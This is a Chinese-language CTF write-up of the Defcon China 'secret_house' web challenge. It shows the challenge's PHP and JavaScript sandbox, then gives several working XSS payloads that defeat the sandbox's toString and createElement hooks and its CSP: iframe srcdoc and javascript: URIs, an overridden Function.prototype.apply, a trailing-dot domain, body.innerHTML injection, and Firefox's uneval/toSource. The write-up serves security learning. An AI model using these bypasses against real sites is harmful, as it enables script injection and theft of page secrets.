前几天去打了Defcon China决赛,差两题就可能拿到外卡。作为Web手0题滚粗难辞其咎,回来重新看了这道比赛时绕了一下午的secret_house,然后结合赛后拿到的几个payload,写一写Sandbox hook toString以后的一些绕过思路。
第一次遇到Sandbox hook toString 是去年google ctf决赛的Blind XSS。当时的限制比较简单,代码如下
Function.prototype.toString = function() { return '[No source code for you. Not on my watch, not in my world]'; }
第二次就是Defcon China的secret_house,这次给出了一个比较完整的sandbox来限制,代码如下
//index.php <?php echo "<script src='http://secret-bctf.art:81/flag.php?f=".(string)time()."'></script>"; if(isset($_GET['xss'])){ header("Content-Security-Policy: default-src 'self'; script-src 'self' http://secret-bctf.art:81/ 'unsafe-inline';"); if($_SERVER['SERVER_NAME'] === "secret-bctf.art"){ echo "<script src='http://secret-bctf.art/js/sandbox.js?t=".(string)time()."'></script>"; echo "<script>".htmlspecialchars($_GET['xss'])."</script>"; } else{ die("error host"); } } else{ highlight_file(__FILE__); } ?>
//flag.php <?php if(isset($_GET['f'])){ if($_SERVER["REMOTE_ADDR"] === gethostbyname('secret-bctf.art') && $_SERVER['SERVER_NAME'] === "secret-bctf.art") echo "function get_secret(){ '".base64_encode(file_get_contents('admin.php'))."' }"; else echo "function get_secret(){ 'emmmmm? Why aren\\'t you administrator?' }"; } else{ highlight_file('flag.php'); } ?>
//sandbox.js function noop() {} (()=>{ window.open = ()=>'Whooops' const oldCreateElement = Document.prototype.createElement Document.prototype.createElement = (a,...args)=>{ if (a !== 'iframe' && a !== 'frame') return oldCreateElement.apply(document, [a, ...args]) return 'Whooops' } Document.prototype.createElementNS = noop } )() Function.prototype.toString = noop document.addEventListener('load', (e)=>{ try { console.log('fucked') e.target.contentWindow.Function.prototype.toString = noop } catch (e) { } } , true); ['Document', 'Element', 'Node'].forEach(documentKey=>{ Object.keys(window[documentKey].prototype).forEach(key=>{ try { //console.log(key) if (window[documentKey].prototype[key]instanceof Function) { window[documentKey].prototype[key] = noop } } catch (e) { } }) }) Array.from(document.all).forEach(item=>{ Object.defineProperty(item, 'innerHTML', { get: noop, set: noop }) } )
不能发现这次在hook toString的基础上还做了很多其他的限制,而这些限制就和一些bypass的思路有关,接下来慢慢给出几种情况下的思路,而我们的目标就是要获得get_secret函数的内容。
如果Sandbox只是单纯重写了toString函数的内容,那么我们可以通过获得一个新的,没问题的toString的方法来获取到get_secret的内容。
如何获得一个native的toString呢???
通过加载一个iframe,iframe会导入一个新的环境,里面就有native的toString函数。
这里要注意的是,对于iframe来说,我们需要获得的是parent的get_secret函数,因此需要保证iframe下的域与父域是同源的,否则会被同源策略拦截。
这里提供两种同源的方法。
一是通过iframe的srcdoc属性,srcdoc属性可以直接在一个iframe中定义一段HTML的代码,而这样产生的iframe和父域是同源的。
代码如下
ifr=document.createElement('iframe'); ifr.srcdoc = '\x3script\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e'; document.head.append(ifr);
二是通过iframe的src属性,但是使用javascript伪协议来完成。iframe标签可以提供一个新的环境,而javascript伪协议则保证了同源策略。
代码如下
ifr=document.createElement('iframe'); ifr.src = '\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74:parent.result = Function.prototype.toString.call(parent.get_secret)'; document.head.append(ifr);
而通过secret_house的代码不难发现这种方法因为createElement被重写而无法被利用
这里提一句是secret_house中的添加的load监听事件并不影响上述payload的执行,因为在执行上述payload时页面还未加载完全,因此这段防御可以忽略。
既然Sandbox重写了createElement,我们就从重写出发,看看有没有可利用的地方。
这里参考了http://fex.baidu.com/blog/2014/06/xss-frontend-firewall-3/
新的createElement在创建元素不为iframe或者frame的时候,会调用回native的createElement,而这里采用了apply的方法来调用。
apply是一个全局函数Function.prototype.apply
通过MDN文档可以知道Function.prototype.apply被调用时的this对象就是指向了对应函数的,在这里也就是oldCreateElement。因此只要把this的值还给Document.prototype.createElement对象,即可获得一个原本的createElement。
代码如下
Function.prototype.apply = function() { Document.prototype.createElement = this; }; a = document.createElement('a'); ifr = document.createElement('iframe'); ifr.srcdoc = '\x3cscript\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e'; document.head.append(ifr);
第一个a元素的创建是为了触发新的createElement去调用到apply。
但是在secret_house中,出题人在下面又把新的createElement函数noop掉了,导致这种方法也没法使用。
这是赛后队友@wonderkun
联系了出题人以后获得的预期解法。
当回首这题给出的CSP时
Content-Security-Policy: default-src 'self'; script-src 'self' http://secret-bctf.art:81/ 'unsafe-inline';
我们会发现只允许加载同域下、81端口下以及内联的
而DNS解析时存在以下的一个特点
rebirth@NeSE ~ nslookup localhost.
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: localhost
Address: 127.0.0.1
------------------------------------------------------------
rebirth@NeSE ~ nslookup localhost
Server: 192.168.1.1
Address: 192.168.1.1#53
Name: localhost.lan
Address: 127.0.0.1
在域名后加一个.
后解析的结果是一致的,因为这个.
代表的是根域名的意义
但是浏览器不会认为secret-bctf.art
和secret-bctf.art.
是一个域,因此payload就一下子变得如下这么简洁
http://secret-bctf.art./?xss=alert(get_secret)
看到这个预期解的时候,内心在滴血,因为感觉之前见过CSP的这种利用方式,但是比赛时候确实完全没想到。
然而,看到接下来的非预期的解法,血更加止不住留下来。
在secret_house的Sandbox的最后有这么一段代码
Array.from(document.all).forEach(item=>{ Object.defineProperty(item, 'innerHTML', { get: noop, set: noop }) } )
我当时看了一眼完全不以为意,想着,哦,把innerHTML hook了就没法直接写iframe了。
然后在了解到say2@CyKor
小姐姐的payload以后(感谢队友@afang
一直以来和say2小姐姐的联系),我才发现原来这里并不像我想的那么简单。
当我们重新回顾index.php的内容时
<?php
echo "<script src='http://secret-bctf.art:81/flag.php?f=".(string)time()."'></script>";
if(isset($_GET['xss'])){
header("Content-Security-Policy: default-src 'self'; script-src 'self' http://secret-bctf.art:81/ 'unsafe-inline';");
if($_SERVER['SERVER_NAME'] === "secret-bctf.art"){
echo "<script src='http://secret-bctf.art/js/sandbox.js?t=".(string)time()."'></script>";
echo "<script>".htmlspecialchars($_GET['xss'])."</script>";
}
else{
die("error host");
}
}
else{
highlight_file(__FILE__);
}
?>
你会发现,所有的script标签都没有再被任何标签包裹,也就是在html页面上输出时,它们是以这种形式输出的
<script src='http://secret-bctf.art:81/flag.php?f=123'></script>
<script src='http://secret-bctf.art/js/sandbox.js?t=123'></script>
<script>我们的payload</script>
那么在chrome中,会如何处理这样一个页面呢
它会将它们放在head体中 ! ! !
这会造成什么后果呢,那就是在chrome解析这个sandbox中的js时,body体还未出现
也就是说===>document.all中并没有包含body ! ! !
document.body.innerHTML
的set方法没有被nop掉 Orz
那么代码就显而易见了
onload = function(){ document.body.innerHTML=`\x3ciframe srcdoc='\x3cscript\x3eparent.result = Function.prototype.toString.call(parent.get_secret)\x3c/script\x3e'\x3e\x3c/iframe\x3e`; }
chrome下的整个的过程到上文就结束了。
比赛完,在和lyle@0ops
的讨论过程中,他给出了一个firefox下toString被重写时,仍可以读到函数代码的方法。
利用的是firefox特有的一个函数uneval
根据MDN的文档,uneval
会返回表示给定对象的源代码的字符串。如果输入是一个函数对应,就会返回函数的源代码。
payload也很简单
http://secret-bctf.art/?xss=alert(uneval(get_secret))
同时,在查阅toString相关内容的时候,我也发现了firefox下特有的也可以获取函数代码的方法
Function.prototype.toSource()
payload也很简单
http://secret-bctf.art/?xss=alert(get_secret.toSource())
前端水深,google ctf blindxss后面使用到的proxy的技巧也很值得学习,另外求更多bypass sandbox的姿势